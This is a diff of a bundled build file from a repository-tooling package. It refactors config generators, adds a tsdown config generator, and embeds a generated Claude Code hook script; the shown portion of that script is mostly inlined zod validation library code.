  //#region src/generators/tsconfig.ts
3376
3552
  /** Single source of truth for the tsconfig content generateTsconfig writes on a fresh repo. */
3377
3553
  function buildGeneratedTsconfig(ctx, extendsValue) {
@@ -3387,14 +3563,7 @@ async function generateTsconfig(ctx) {
3387
3563
  if (ctx.config.structure === "monorepo") return [generateMonorepoRootTsconfig(ctx), ...ctx.config.detectPackageTypes ? generateMonorepoPackageTsconfigs(ctx) : []];
3388
3564
  const extendsValue = `@bensandee/config/tsconfig/${ctx.config.projectType}`;
3389
3565
  if (ctx.config.stack !== "typescript") {
3390
- if (existing !== void 0 && existing === buildGeneratedTsconfig(ctx, extendsValue)) {
3391
- ctx.remove(filePath);
3392
- return [{
3393
- filePath,
3394
- action: "removed",
3395
- description: `Removed generated tsconfig.json (stack is ${ctx.config.stack})`
3396
- }];
3397
- }
3566
+ if (existing !== void 0 && existing === buildGeneratedTsconfig(ctx, extendsValue)) return [reportStaleConfig(filePath, `stack is ${ctx.config.stack}`)];
3398
3567
  return [{
3399
3568
  filePath,
3400
3569
  action: "skipped",
@@ -3888,16 +4057,9 @@ const ToolingShallowSchema$1 = z.object({
3888
4057
  });
3889
4058
  /** Resolve from a generator context (used by generators for mock-friendly testing). */
3890
4059
  function resolveCoverageConfigFromContext(reader, fallbackSetupVitest) {
3891
- const toolingRaw = reader.read(".tooling.json");
3892
- let setupVitest = fallbackSetupVitest;
3893
- let coverage;
3894
- if (toolingRaw) try {
3895
- const result = ToolingShallowSchema$1.safeParse(JSON.parse(toolingRaw));
3896
- if (result.success) {
3897
- if (typeof result.data.setupVitest === "boolean") setupVitest = result.data.setupVitest;
3898
- coverage = result.data.coverage;
3899
- }
3900
- } catch (_error) {}
4060
+ const slice = parseToolingConfigSlice(reader.read(".tooling.json"), ToolingShallowSchema$1);
4061
+ const setupVitest = typeof slice?.setupVitest === "boolean" ? slice.setupVitest : fallbackSetupVitest;
4062
+ const coverage = slice?.coverage;
3901
4063
  return resolveFromInputs({
3902
4064
  hasVitestConfig: reader.exists("vitest.config.ts") || reader.exists("vitest.config.mts"),
3903
4065
  setupVitest,
@@ -4201,6 +4363,56 @@ async function generatePrettier(ctx) {
4201
4363
  };
4202
4364
  }
4203
4365
  //#endregion
4366
+ //#region src/generators/tsdown.ts
4367
+ /**
4368
+ * Exported so `package-json.ts#reclaimManagedDevDeps` can gate the `tsdown`
4369
+ * devDependency reclaim on the same generated-template evidence this generator
4370
+ * uses for the config file itself — the two must never disagree about what
4371
+ * "no longer used" means (see the block comment there).
4372
+ */
4373
+ const TSDOWN_CONFIG = `import { defineConfig } from "tsdown";
4374
+
4375
+ export default defineConfig({
4376
+ entry: ["src/index.ts"],
4377
+ });
4378
+ `;
4379
+ async function generateTsdown(ctx) {
4380
+ const filePath = "tsdown.config.ts";
4381
+ if (ctx.config.structure === "monorepo") return {
4382
+ filePath,
4383
+ action: "skipped",
4384
+ description: "Monorepo: tsdown config belongs in individual packages"
4385
+ };
4386
+ if (ctx.config.builder !== "tsdown") {
4387
+ if (ctx.read(filePath) !== void 0 && isGeneratedTemplate(ctx, filePath, TSDOWN_CONFIG)) return reportStaleConfig(filePath, `builder is ${ctx.config.builder}`);
4388
+ return {
4389
+ filePath,
4390
+ action: "skipped",
4391
+ description: `Builder is ${ctx.config.builder}; tsdown config not managed`
4392
+ };
4393
+ }
4394
+ const existing = ctx.read(filePath);
4395
+ const config = formattedTemplate(ctx, filePath, TSDOWN_CONFIG);
4396
+ if (existing) {
4397
+ if (existing === config) return {
4398
+ filePath,
4399
+ action: "skipped",
4400
+ description: "Already configured"
4401
+ };
4402
+ if (await ctx.confirmOverwrite(filePath) === "skip") return {
4403
+ filePath,
4404
+ action: "skipped",
4405
+ description: "Existing tsdown config preserved"
4406
+ };
4407
+ }
4408
+ ctx.write(filePath, config);
4409
+ return {
4410
+ filePath,
4411
+ action: existing ? "updated" : "created",
4412
+ description: "Generated tsdown.config.ts"
4413
+ };
4414
+ }
4415
+ //#endregion
4204
4416
  //#region src/release/forgejo/errors.ts
4205
4417
  /** Safely read response body text for inclusion in error messages. */
4206
4418
  async function responseBodyText(res) {
@@ -4772,13 +4984,7 @@ function resolveFromOverrides(overrides, isMonorepo, stack) {
4772
4984
  };
4773
4985
  }
4774
4986
  function resolveHealthConfigFromContext(reader, opts) {
4775
- const raw = reader.read(".tooling.json");
4776
- let overrides;
4777
- if (raw) try {
4778
- const parsed = ToolingShallowSchema.safeParse(JSON.parse(raw));
4779
- if (parsed.success) overrides = parsed.data.health;
4780
- } catch (_error) {}
4781
- return resolveFromOverrides(overrides, opts.isMonorepo, reader.config.stack);
4987
+ return resolveFromOverrides(parseToolingConfigSlice(reader.read(".tooling.json"), ToolingShallowSchema)?.health, opts.isMonorepo, reader.config.stack);
4782
4988
  }
4783
4989
  /** Resolve from the real filesystem (used by CLI commands). */
4784
4990
  function resolveHealthConfig(targetDir) {
@@ -5820,7 +6026,7 @@ function writeIfChanged(ctx, filePath, content, label) {
5820
6026
  };
5821
6027
  }
5822
6028
  async function generateClaudeHooks(ctx) {
5823
- return [writeIfChanged(ctx, HOOK_PATH, "/**\n * bst-hook — Claude Code PreToolUse hook\n * @bensandee/claude-hooks v0.10.0\n * https://github.com/bensandee/tooling\n *\n * Auto-generated by @bensandee/tooling repo:sync — do not edit manually.\n */\nimport * as fs from \"node:fs\";\nimport { existsSync, readFileSync, readdirSync, statSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { dirname, join, resolve } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\nimport { execFileSync } from \"node:child_process\";\nimport * as os from \"node:os\";\n\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js\nvar _a$1;\nfunction $constructor(name, initializer, params) {\n function init(inst, def) {\n if (!inst._zod) Object.defineProperty(inst, \"_zod\", {\n value: {\n def,\n constr: _,\n traits: /* @__PURE__ */ new Set()\n },\n enumerable: false\n });\n if (inst._zod.traits.has(name)) return;\n inst._zod.traits.add(name);\n initializer(inst, def);\n const proto = _.prototype;\n const keys = Object.keys(proto);\n for (let i = 0; i < keys.length; i++) {\n const k = keys[i];\n if (!(k in inst)) inst[k] = proto[k].bind(inst);\n }\n }\n const Parent = params?.Parent ?? Object;\n class Definition extends Parent {}\n Object.defineProperty(Definition, \"name\", { value: name });\n function _(def) {\n var _a;\n const inst = params?.Parent ? new Definition() : this;\n init(inst, def);\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n for (const fn of inst._zod.deferred) fn();\n return inst;\n }\n Object.defineProperty(_, \"init\", { value: init });\n Object.defineProperty(_, Symbol.hasInstance, { value: (inst) => {\n if (params?.Parent && inst instanceof params.Parent) return true;\n return inst?._zod?.traits?.has(name);\n } });\n Object.defineProperty(_, \"name\", { value: name });\n return _;\n}\nvar $ZodAsyncError = class extends Error {\n constructor() {\n super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`);\n }\n};\nvar $ZodEncodeError = class extends Error {\n constructor(name) {\n super(`Encountered unidirectional transform during encode: ${name}`);\n this.name = \"ZodEncodeError\";\n }\n};\n(_a$1 = globalThis).__zod_globalConfig ?? (_a$1.__zod_globalConfig = {});\nconst globalConfig = globalThis.__zod_globalConfig;\nfunction config(newConfig) {\n if (newConfig) Object.assign(globalConfig, newConfig);\n return globalConfig;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js\nfunction getEnumValues(entries) {\n const numericValues = Object.values(entries).filter((v) => typeof v === \"number\");\n return Object.entries(entries).filter(([k, _]) => numericValues.indexOf(+k) === -1).map(([_, v]) => v);\n}\nfunction jsonStringifyReplacer(_, value) {\n if (typeof value === \"bigint\") return value.toString();\n return value;\n}\nfunction cached(getter) {\n return { get value() {\n {\n const value = getter();\n Object.defineProperty(this, \"value\", { value });\n return value;\n }\n throw new Error(\"cached value already set\");\n } };\n}\nfunction nullish(input) {\n return input === null || input === void 0;\n}\nfunction cleanRegex(source) {\n const start = source.startsWith(\"^\") ? 1 : 0;\n const end = source.endsWith(\"$\") ? source.length - 1 : source.length;\n return source.slice(start, end);\n}\nconst EVALUATING = /* @__PURE__*/ Symbol(\"evaluating\");\nfunction defineLazy(object, key, getter) {\n let value = void 0;\n Object.defineProperty(object, key, {\n get() {\n if (value === EVALUATING) return;\n if (value === void 0) {\n value = EVALUATING;\n value = getter();\n }\n return value;\n },\n set(v) {\n Object.defineProperty(object, key, { value: v });\n },\n configurable: true\n });\n}\nfunction assignProp(target, prop, value) {\n Object.defineProperty(target, prop, {\n value,\n writable: true,\n enumerable: true,\n configurable: true\n });\n}\nfunction mergeDefs(...defs) {\n const mergedDescriptors = {};\n for (const def of defs) {\n const descriptors = Object.getOwnPropertyDescriptors(def);\n Object.assign(mergedDescriptors, descriptors);\n }\n return Object.defineProperties({}, mergedDescriptors);\n}\nfunction esc(str) {\n return JSON.stringify(str);\n}\nfunction slugify(input) {\n return input.toLowerCase().trim().replace(/[^\\w\\s-]/g, \"\").replace(/[\\s_-]+/g, \"-\").replace(/^-+|-+$/g, \"\");\n}\nconst captureStackTrace = \"captureStackTrace\" in Error ? Error.captureStackTrace : (..._args) => {};\nfunction isObject(data) {\n return typeof data === \"object\" && data !== null && !Array.isArray(data);\n}\nconst allowsEval = /* @__PURE__*/ cached(() => {\n if (globalConfig.jitless) return false;\n if (typeof navigator !== \"undefined\" && navigator?.userAgent?.includes(\"Cloudflare\")) return false;\n try {\n new Function(\"\");\n return true;\n } catch (_) {\n return false;\n }\n});\nfunction isPlainObject(o) {\n if (isObject(o) === false) return false;\n const ctor = o.constructor;\n if (ctor === void 0) return true;\n if (typeof ctor !== \"function\") return true;\n const prot = ctor.prototype;\n if (isObject(prot) === false) return false;\n if (Object.prototype.hasOwnProperty.call(prot, \"isPrototypeOf\") === false) return false;\n return true;\n}\nfunction shallowClone(o) {\n if (isPlainObject(o)) return { ...o };\n if (Array.isArray(o)) return [...o];\n if (o instanceof Map) return new Map(o);\n if (o instanceof Set) return new Set(o);\n return o;\n}\nconst propertyKeyTypes = /* @__PURE__*/ new Set([\n \"string\",\n \"number\",\n \"symbol\"\n]);\nfunction escapeRegex(str) {\n return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\nfunction clone(inst, def, params) {\n const cl = new inst._zod.constr(def ?? inst._zod.def);\n if (!def || params?.parent) cl._zod.parent = inst;\n return cl;\n}\nfunction normalizeParams(_params) {\n const params = _params;\n if (!params) return {};\n if (typeof params === \"string\") return { error: () => params };\n if (params?.message !== void 0) {\n if (params?.error !== void 0) throw new Error(\"Cannot specify both `message` and `error` params\");\n params.error = params.message;\n }\n delete params.message;\n if (typeof params.error === \"string\") return {\n ...params,\n error: () => params.error\n };\n return params;\n}\nfunction optionalKeys(shape) {\n return Object.keys(shape).filter((k) => {\n return shape[k]._zod.optin === \"optional\" && shape[k]._zod.optout === \"optional\";\n });\n}\nconst NUMBER_FORMAT_RANGES = {\n safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER],\n int32: [-2147483648, 2147483647],\n uint32: [0, 4294967295],\n float32: [-34028234663852886e22, 34028234663852886e22],\n float64: [-Number.MAX_VALUE, Number.MAX_VALUE]\n};\nfunction pick(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".pick() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = {};\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n newShape[key] = currDef.shape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction omit(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".omit() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = { ...schema._zod.def.shape };\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n delete newShape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction extend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to extend: expected a plain object\");\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) {\n const existingShape = schema._zod.def.shape;\n for (const key in shape) if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) throw new Error(\"Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.\");\n }\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction safeExtend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to safeExtend: expected a plain object\");\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction merge(a, b) {\n if (a._zod.def.checks?.length) throw new Error(\".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.\");\n return clone(a, mergeDefs(a._zod.def, {\n get shape() {\n const _shape = {\n ...a._zod.def.shape,\n ...b._zod.def.shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n },\n get catchall() {\n return b._zod.def.catchall;\n },\n checks: b._zod.def.checks ?? []\n }));\n}\nfunction partial(Class, schema, mask) {\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) throw new Error(\".partial() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in oldShape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n }\n else for (const key in oldShape) shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n assignProp(this, \"shape\", shape);\n return shape;\n },\n checks: []\n }));\n}\nfunction required(Class, schema, mask) {\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n }\n else for (const key in oldShape) shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n assignProp(this, \"shape\", shape);\n return shape;\n } }));\n}\nfunction aborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue !== true) return true;\n return false;\n}\nfunction explicitlyAborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue === false) return true;\n return false;\n}\nfunction prefixIssues(path, issues) {\n return issues.map((iss) => {\n var _a;\n (_a = iss).path ?? (_a.path = []);\n iss.path.unshift(path);\n return iss;\n });\n}\nfunction unwrapMessage(message) {\n return typeof message === \"string\" ? message : message?.message;\n}\nfunction finalizeIssue(iss, ctx, config) {\n const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config.customError?.(iss)) ?? unwrapMessage(config.localeError?.(iss)) ?? \"Invalid input\";\n const { inst: _inst, continue: _continue, input: _input, ...rest } = iss;\n rest.path ?? (rest.path = []);\n rest.message = message;\n if (ctx?.reportInput) rest.input = _input;\n return rest;\n}\nfunction getLengthableOrigin(input) {\n if (Array.isArray(input)) return \"array\";\n if (typeof input === \"string\") return \"string\";\n return \"unknown\";\n}\nfunction issue(...args) {\n const [iss, input, inst] = args;\n if (typeof iss === \"string\") return {\n message: iss,\n code: \"custom\",\n input,\n inst\n };\n return { ...iss };\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js\nconst initializer$1 = (inst, def) => {\n inst.name = \"$ZodError\";\n Object.defineProperty(inst, \"_zod\", {\n value: inst._zod,\n enumerable: false\n });\n Object.defineProperty(inst, \"issues\", {\n value: def,\n enumerable: false\n });\n inst.message = JSON.stringify(def, jsonStringifyReplacer, 2);\n Object.defineProperty(inst, \"toString\", {\n value: () => inst.message,\n enumerable: false\n });\n};\nconst $ZodError = $constructor(\"$ZodError\", initializer$1);\nconst $ZodRealError = $constructor(\"$ZodError\", initializer$1, { Parent: Error });\nfunction flattenError(error, mapper = (issue) => issue.message) {\n const fieldErrors = {};\n const formErrors = [];\n for (const sub of error.issues) if (sub.path.length > 0) {\n fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || [];\n fieldErrors[sub.path[0]].push(mapper(sub));\n } else formErrors.push(mapper(sub));\n return {\n formErrors,\n fieldErrors\n };\n}\nfunction formatError(error, mapper = (issue) => issue.message) {\n const fieldErrors = { _errors: [] };\n const processError = (error, path = []) => {\n for (const issue of error.issues) if (issue.code === \"invalid_union\" && issue.errors.length) issue.errors.map((issues) => processError({ issues }, [...path, ...issue.path]));\n else if (issue.code === \"invalid_key\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else if (issue.code === \"invalid_element\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else {\n const fullpath = [...path, ...issue.path];\n if (fullpath.length === 0) fieldErrors._errors.push(mapper(issue));\n else {\n let curr = fieldErrors;\n let i = 0;\n while (i < fullpath.length) {\n const el = fullpath[i];\n if (!(i === fullpath.length - 1)) curr[el] = curr[el] || { _errors: [] };\n else {\n curr[el] = curr[el] || { _errors: [] };\n curr[el]._errors.push(mapper(issue));\n }\n curr = curr[el];\n i++;\n }\n }\n }\n };\n processError(error);\n return fieldErrors;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js\nconst _parse = (_Err) => (schema, value, _ctx, _params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n if (result.issues.length) {\n const e = new ((_params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, _params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _parseAsync = (_Err) => async (schema, value, _ctx, params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n if (result.issues.length) {\n const e = new ((params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _safeParse = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n return result.issues.length ? {\n success: false,\n error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParse$1 = /* @__PURE__*/ _safeParse($ZodRealError);\nconst _safeParseAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n return result.issues.length ? {\n success: false,\n error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParseAsync$1 = /* @__PURE__*/ _safeParseAsync($ZodRealError);\nconst _encode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parse(_Err)(schema, value, ctx);\n};\nconst _decode = (_Err) => (schema, value, _ctx) => {\n return _parse(_Err)(schema, value, _ctx);\n};\nconst _encodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parseAsync(_Err)(schema, value, ctx);\n};\nconst _decodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _parseAsync(_Err)(schema, value, _ctx);\n};\nconst _safeEncode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParse(_Err)(schema, value, ctx);\n};\nconst _safeDecode = (_Err) => (schema, value, _ctx) => {\n return _safeParse(_Err)(schema, value, _ctx);\n};\nconst _safeEncodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParseAsync(_Err)(schema, value, ctx);\n};\nconst _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _safeParseAsync(_Err)(schema, value, _ctx);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst cuid = /^[cC][0-9a-z]{6,}$/;\nconst cuid2 = /^[0-9a-z]+$/;\nconst ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/;\nconst xid = /^[0-9a-vA-V]{20}$/;\nconst ksuid = /^[A-Za-z0-9]{27}$/;\nconst nanoid = /^[a-zA-Z0-9_-]{21}$/;\n/** ISO 8601-1 duration regex. Does not support the 8601-2 extensions like negative durations or fractional/negative components. */\nconst duration$1 = /^P(?:(\\d+W)|(?!.*W)(?=\\d|T\\d)(\\d+Y)?(\\d+M)?(\\d+D)?(T(?=\\d)(\\d+H)?(\\d+M)?(\\d+([.,]\\d+)?S)?)?)$/;\n/** A regex for any UUID-like identifier: 8-4-4-4-12 hex pattern */\nconst guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/;\n/** Returns a regex for validating an RFC 9562/4122 UUID.\n*\n* @param version Optionally specify a version 1-8. If no version is specified, all versions are supported. */\nconst uuid = (version) => {\n if (!version) return /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/;\n return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${version}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`);\n};\n/** Practical email validation */\nconst email = /^(?!\\.)(?!.*\\.\\.)([A-Za-z0-9_'+\\-\\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\\-]*\\.)+[A-Za-z]{2,}$/;\nconst _emoji$1 = `^(\\\\p{Extended_Pictographic}|\\\\p{Emoji_Component})+$`;\nfunction emoji() {\n return new RegExp(_emoji$1, \"u\");\n}\nconst ipv4 = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/;\nconst ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/;\nconst cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\/([0-9]|[1-2][0-9]|3[0-2])$/;\nconst cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/;\nconst base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/;\nconst base64url = /^[A-Za-z0-9_-]*$/;\nconst httpProtocol = /^https?$/;\nconst e164 = /^\\+[1-9]\\d{6,14}$/;\nconst dateSource = `(?:(?:\\\\d\\\\d[2468][048]|\\\\d\\\\d[13579][26]|\\\\d\\\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\\\d|30)|(?:02)-(?:0[1-9]|1\\\\d|2[0-8])))`;\nconst date$1 = /*@__PURE__*/ new RegExp(`^${dateSource}$`);\nfunction timeSource(args) {\n const hhmm = `(?:[01]\\\\d|2[0-3]):[0-5]\\\\d`;\n return typeof args.precision === \"number\" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\\\d` : `${hhmm}:[0-5]\\\\d\\\\.\\\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\\\d(?:\\\\.\\\\d+)?)?`;\n}\nfunction time$1(args) {\n return new RegExp(`^${timeSource(args)}$`);\n}\nfunction datetime$1(args) {\n const time = timeSource({ precision: args.precision });\n const opts = [\"Z\"];\n if (args.local) opts.push(\"\");\n if (args.offset) opts.push(`([+-](?:[01]\\\\d|2[0-3]):[0-5]\\\\d)`);\n const timeRegex = `${time}(?:${opts.join(\"|\")})`;\n return new RegExp(`^${dateSource}T(?:${timeRegex})$`);\n}\nconst string$1 = (params) => {\n const regex = params ? `[\\\\s\\\\S]{${params?.minimum ?? 0},${params?.maximum ?? \"\"}}` : `[\\\\s\\\\S]*`;\n return new RegExp(`^${regex}$`);\n};\nconst number = /^-?\\d+(?:\\.\\d+)?$/;\nconst lowercase = /^[^A-Z]*$/;\nconst uppercase = /^[^a-z]*$/;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js\nconst $ZodCheck = /*@__PURE__*/ $constructor(\"$ZodCheck\", (inst, def) => {\n var _a;\n inst._zod ?? (inst._zod = {});\n inst._zod.def = def;\n (_a = inst._zod).onattach ?? (_a.onattach = []);\n});\nconst $ZodCheckMaxLength = /*@__PURE__*/ $constructor(\"$ZodCheckMaxLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.maximum ?? Number.POSITIVE_INFINITY;\n if (def.maximum < curr) inst._zod.bag.maximum = def.maximum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length <= def.maximum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_big\",\n maximum: def.maximum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckMinLength = /*@__PURE__*/ $constructor(\"$ZodCheckMinLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.minimum ?? Number.NEGATIVE_INFINITY;\n if (def.minimum > curr) inst._zod.bag.minimum = def.minimum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length >= def.minimum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_small\",\n minimum: def.minimum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLengthEquals = /*@__PURE__*/ $constructor(\"$ZodCheckLengthEquals\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.minimum = def.length;\n bag.maximum = def.length;\n bag.length = def.length;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n const length = input.length;\n if (length === def.length) return;\n const origin = getLengthableOrigin(input);\n const tooBig = length > def.length;\n payload.issues.push({\n origin,\n ...tooBig ? {\n code: \"too_big\",\n maximum: def.length\n } : {\n code: \"too_small\",\n minimum: def.length\n },\n inclusive: true,\n exact: true,\n input: payload.value,\n inst,\n continue: 